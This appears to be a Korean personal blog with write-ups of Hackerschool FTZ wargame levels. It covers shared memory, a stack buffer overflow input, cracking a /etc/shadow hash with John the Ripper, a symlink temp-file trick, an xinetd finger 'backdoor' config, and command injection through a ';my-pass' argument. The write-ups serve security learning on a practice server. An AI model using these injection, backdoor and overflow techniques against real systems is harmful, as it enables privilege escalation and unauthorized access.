zj3t

email: euntaejang@gmail.com

Latest Posts
공유메모리에 관한 문제인데 솔직히 이 문제는 검색을 이용하여 풀었습니다.
공유메모리에 대한 지식이 아무것도 없어서 찾는중 어느 분께서 정리를 잘 해놔주셔서 링크 첨부하겠습니다.

꼭 읽고 문제 푸시면 도움 되실 것 같아요
http://www.joinc.co.kr/modules/moniwiki/wiki.php/Site/system_programing/IPC/SharedMemory

http://gijung.blogspot.kr/2011/02/ipc-inter-process-communication-korean.html




IPC란 프로세스간의 통신이며 명령어 또한 프로세스간의 통신을 관리하는 명령이라고 생각하시면 편하실 것 같습니다.


#include <stdio.h>
#include <sys/shm.h> //공유메모리 관련 헤더 파일
#include <sys/ipc.h>   //공유메모리 관련 헤더 파일

int main()
{
int key_t_value;
char start_ad;

key_t_value=shmget(7530, 1028, IPC_CREAT|0666);
        //IPC_CREAT로 퍼미션 0666으로 설정
start_ad=shmat(key_t_value,NULL,0);

printf("%s",start_ad); //string으로 출력
return 0;
}

shmget은 커널에 공유메모리 공간을 요청하기 위해 호출하는 시스템 호출 함수이다.
첫번 째 인자 key는 여러개의 공유메모리 중 원하는 공유메모리에 접근하기 위한 key값이다. 따라서 key 값을 통해 선택적인 공유메모리에 접근이 가능하다.
두번 째 인자는 공유메모리의 최소 크기, 세번째 인자는 대부분 IPC_CREAT로 key를 이용하여 새로운 공유메모리 공간을 만든다.

리턴 값: 공유메모리에 접근할 수 있는 int형의 '식별자'

shmat은 shmget으로 공간을 할당 받았으면 지금의 프로세스가 공유메모리를 사용가능 하도록 하는 작업을 해준다. 

리턴 값: 공유메모리의 시작번지


위의 링크와 문제의 힌트를 잘 읽어 보시고 공유메모리 관련 명령어를 잘 이해하시면 풀 수 있는 문제 같습니다.
저도 처음 접하는 개념이라 이 문제는 해결을 보고 말았습니다. 좋은 개념 배워가는 것 같습니다.











드디어 등장했습니다 BoF(버퍼오버플로우) 거의 시스템 해킹에서 가장 유명한 기법이라고 불리는 해킹 기법입니다. 왜 등장을 안하지 했는데 level9에서 등장을 하네요.

하지만 이번 문제는 굉장히 쉬운 BOF였던 것 같습니다. BOF의 개념만 알고 있으면 풀 수 있을 것입니다. 저도 hackschool의 BOF 왕기초편을 예전에 보고 변수가 스택에 어떻게 어떤 순서로 저장되는지를 배웠습니다. 

저 두번째 그림을 잠깐 설명하자면 bof[10]은 에서 12byte의 범위를 벗어나면 가운데 쓰레기 값이들어있는 약간의 byte,  bof2[10]까지 뒤집어 쓸수 있게 됩니다. 예전에는 변수 사이에 쓰레기 값이 없었는데 gcc 2.06버젼부터 생겼다고 합니다. 

그리고 하나 중요한 것은 char bof[10]이면 10byte인데 왜 12byte의 범위를 벗어나야하냐??
이는 예전에 궁금해서 여러 자료를 찾아봤는데 답은 메모리가 1word 단위로 저장되기 때문입니다. 즉 4byte단위로 저장되기 때문입니다.

여기까지 알면 BOF를 이용하여 답을 찾을 수가 있습니다. 하지만 변수사이의 쓰레기값이 몇byte인지는 gdb를 이용하여 찾을 수가 있지만 여기서는 그럴 수 없기 때문에 일일이 하나씩 너보는 수 밖에 없습니다.

따라서

[level9@ftz level9]$ /usr/bin/bof
It can be overflow : 012345678901go
[level9@ftz level9]$ /usr/bin/bof
It can be overflow : 0123456789012go
[level9@ftz level9]$ /usr/bin/bof
It can be overflow : 01234567890123go
[level9@ftz level9]$ /usr/bin/bof
It can be overflow : 012345678901234go   
[level9@ftz level9]$ /usr/bin/bof
It can be overflow : 0123456789012345go     
Good Skill!
[level10@ftz level9]$ my-pass

쓰레기 값은 3byte였네요~~~












이 문제에서는
1.find 명령의 옵션 중 size가 있다는 것
2.찾을 사이즈에 c를 붙혀야 한다는 것
을 알게 해주었습니다.

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524
이것은 레이스 컨디션에서도 봤듯이 /etc/shadow 파일에서 볼 수 있습니다.
$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps. 는 패스워드가 hash와 된 것입니다.
여기서 예전 학교, 시스템해킹 수업에서 배운 존 더 리퍼(John The Ripper)가 생각 났습니다.

존 더 리퍼는 저 shadow 파일처럼 hash처리 된 패스워드 부분을 크래킹해주는 도구!!!

존 더 리퍼를 실행하면 password.lst 파일에 있는 목록과 비교하여 단어 하나하나를 암호화하여 해시 파일과 같은 것이 있는지 검사한다.

John The Ripper를 설치하는 방법은 다른 분들이 많이 블로그에 포스팅 해놓으셨기 때문
에 따로 포스팅을 하진 않겠습니다.

이 문제를 풀때 존 더 리퍼를 실행한 것은 평소 제가 따로 사용하는 ubuntu OS에서 사
용한 것입니다.
우선 말씀드리자면 level7에는 오류가 존재합니다. 해결해 주지 않는다면 문제를 풀 수 없습니다. 




이렇게 wrong.txt파일을 만들어준 뒤 저렇게 써주어야 정상적으로 문제를 풀 수가있습니다.

원래 해커스쿨 FTZ서버에서 풀면 정상적으로 작동이 된다는데 저처럼 개인이 서버를 열어서하면 저렇게 wrong.txt파일이 사라진다고 합니다.
꼭 저렇게 해야 풀 수가있습니다.

그다음부터는 힌트대로만 해주면 쉽습니다.

-는 1

_는 0


--_--_-
109

--____-  
97

---_-__
116

--__-_-
101

이렇게 풀었습니다. 리버싱을 몇달동안 공부해서 그런지 처음 같으면 10997116101로 패스워드를 입력했겠지만 ASCII 코드에 익숙해져서 답을 쉽게 캐치할 수 있었습니다.

109 97 116 101
 m   a    t    e



Enter를 입력한다.


이런 화면이 뜨는데 여기서 번호를 선택하면 xshell자체가 종료가 된다.....
무슨문제인지 모르겠어서 Ctrl+C를 눌렀더니 밑에 처럼 level6의 쉘을 얻었다.


그냥 password파일이 있다. 10년이 넘은 문제들이라 그런지 원래의 목적과 다르게 풀린것 같습니다.




-rws--x---    1 level6   level5      12236 Sep 10  2011 /usr/bin/level5
|setuid: 파일 소유자의 권한으로 실행됨|

/usr/bin/level5 을 실행시킨 뒤 /tmp 디렉토리로 가서 ls명령으로 목록을 확인했더니 level5.tmp 파일이 없어 살짝 해맸습니다. 그러던중 "임시파일이라고 명시해 줬으니 만들어졌다가 바로 삭제가 되나?? "라는 생각을 하게 되었습니다.

그렇다면 어떻게 바로 삭제되는 파일에 써지는 내용을 알 수 있을까요??

여러 답이 있겠지만 제가 생각한 것은 심볼릭링크를 이용하는 것이였습니다.
(생각을 좀 오래했음)

심벌릭 링크는 하드링크를 만드는 명령 ln에 -s옵션을 붙여 생성할 수 있는데

ln -s 원본파일 링크파일: 링크파일이 원본파일을 가리키게 됩니다. 즉 링크파일에서 글이 써져도 원본파일에도 똑같이 글이 써지게 됩니다. 링크파일이 삭제되어도 원본파일은 남아있습니다.(원본파일이 삭제되면 링크파일을 열 수 없게됨, 하지만 삭제된 원본파일과 같은 이름의 파일이 생성되면 그 파일을 또 가리키게 됩니다. 추후 레이스컨디션에서 이용되는 기법)

따라서 위에서는 Nextpassword라는 파일을 생성해서 level5.tmp파일이 이 파일을 가리키도록 했습니다. 그렇다면 level5.tmp파일이 지워져도 Nextpassword파일에는 데이터가 남아있게 됩니다.





service finger
{
disable = no
flags = REUSE
socket_type = stream      
wait = no
user = level5
server = /home/level4/tmp/backdoor
log_on_failure += USERID
}

"finger을 사용할 때 level5의 권한으로 /home/level4/tmp/backdoor을 실행한다."라고 생각하면 쉽다.

#include <stdio.h>
int main()
{
        system("my-pass");
        return 0;
}
-backdoor.c 코드
즉, my-pass 명령을 실행하도록 하는 C코드

$finger @localhost 
:가장 이해가 되지 않았었다. 사실 다른 블로그의 풀이를 보고 알았는데 왜 localhost를 쓰는지 알지 못해서 많은 시간을 소비했다.

-리눅스 finger

-$ finger
finger만 치면 현재 시스템에 로그인 되어 있는 사용자들을 보여준다.
-$ finger user명
user를 적고 host명을 명시하지 않으면, finger는 로컬에 접속하게 된다.
-$ finger @host명
host명만 적고 user를 명시하지 않으면, 해당서버의 접속해 있는 모든 유저의 정보를 출력한다.
-$ finger user명 @host명
-$ finger @host명 user명
user명과 호스트명을 이런식으로 기입하면 원격서버의 사용자계정정보 확인하는 것이 된다.

localhost는 127.xxx.xxx.xxx의 별칭이다. 즉 서버주소, 지금 컴퓨터가 서버 주소가 되는 것이다. (local+host)  finger 가 서버의 접속유저 리스트를 받아오는 것인데 일단 그럼 어느서버에 접속해야하는지 알기위해 인자로 대상서버를 넘겨주어야 한다. 근데 그 서버는 지금 로컬에 열려잇으니 localhost로 한것 같습니다.

이번문제는 약간 고민했었습니다. 빠른 시간내에 푼 것도 아니였습니다.


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char **argv){

    char cmd[100];

    if( argc!=2 ){
        printf( "Auto Digger Version 0.9\n" );
        printf( "Usage : %s host\n", argv[0] );
        exit(0);
    }

    strcpy( cmd, "dig @" );        //dig @문자열을 cmd배열에 넣음
    strcat( cmd, argv[1] );          //첫번째 argument를 cmd에 넣음
    strcat( cmd, " version.bind chaos txt"); //ver~~문자열을 cmd에 넣음

    system( cmd );

}
이를 이용하여 level4의 권한을 얻어라.

more hints.
- 동시에 여러 명령어를 사용하려면?
- 문자열 형태로 명령어를 전달하려면?

맨 처음 이 문제를 

[level3@ftz level3]$ /bin/autodig "/bin/bash" 
명령으로 접근을 했다. 왜냐하면 /bin/autodig의 소유자가 level4이기 때문에 /bin/bash로 가서 my-pass명령으로 level4의 password을 알아내려고 했는데 계속 실패를 했다.

왜 실패했는지 찾아보니 
strcpy( cmd, "dig @" );  에서 dig @ 때문에 /bin/autodig를 인자로 주었을 때 @/bin/bash가 되어 명령어인식이 안된 것이였다. 

그렇기 때문에 

more hints.
- 동시에 여러 명령어를 사용하려면?   세미콜론(;) 사용
- 문자열 형태로 명령어를 전달하려면?  큰따옴표(") 사용
이란 힌트를 준 것같다.

따라서
[level3@ftz level3]$ /bin/autodig "/bin/bash;my-pass" 라 입력하면 패스워드가 나온다.

여기서 [level3@ftz level3]$ /bin/autodig "asnlxcnvoa;my-pass"를 해도 패스워드가 나오게 된다. as~~은 앞의 @때문에 어차피 명령어로 인식을 못하고 뒤에있는 my-pass만 인식하게 되기 때문이다.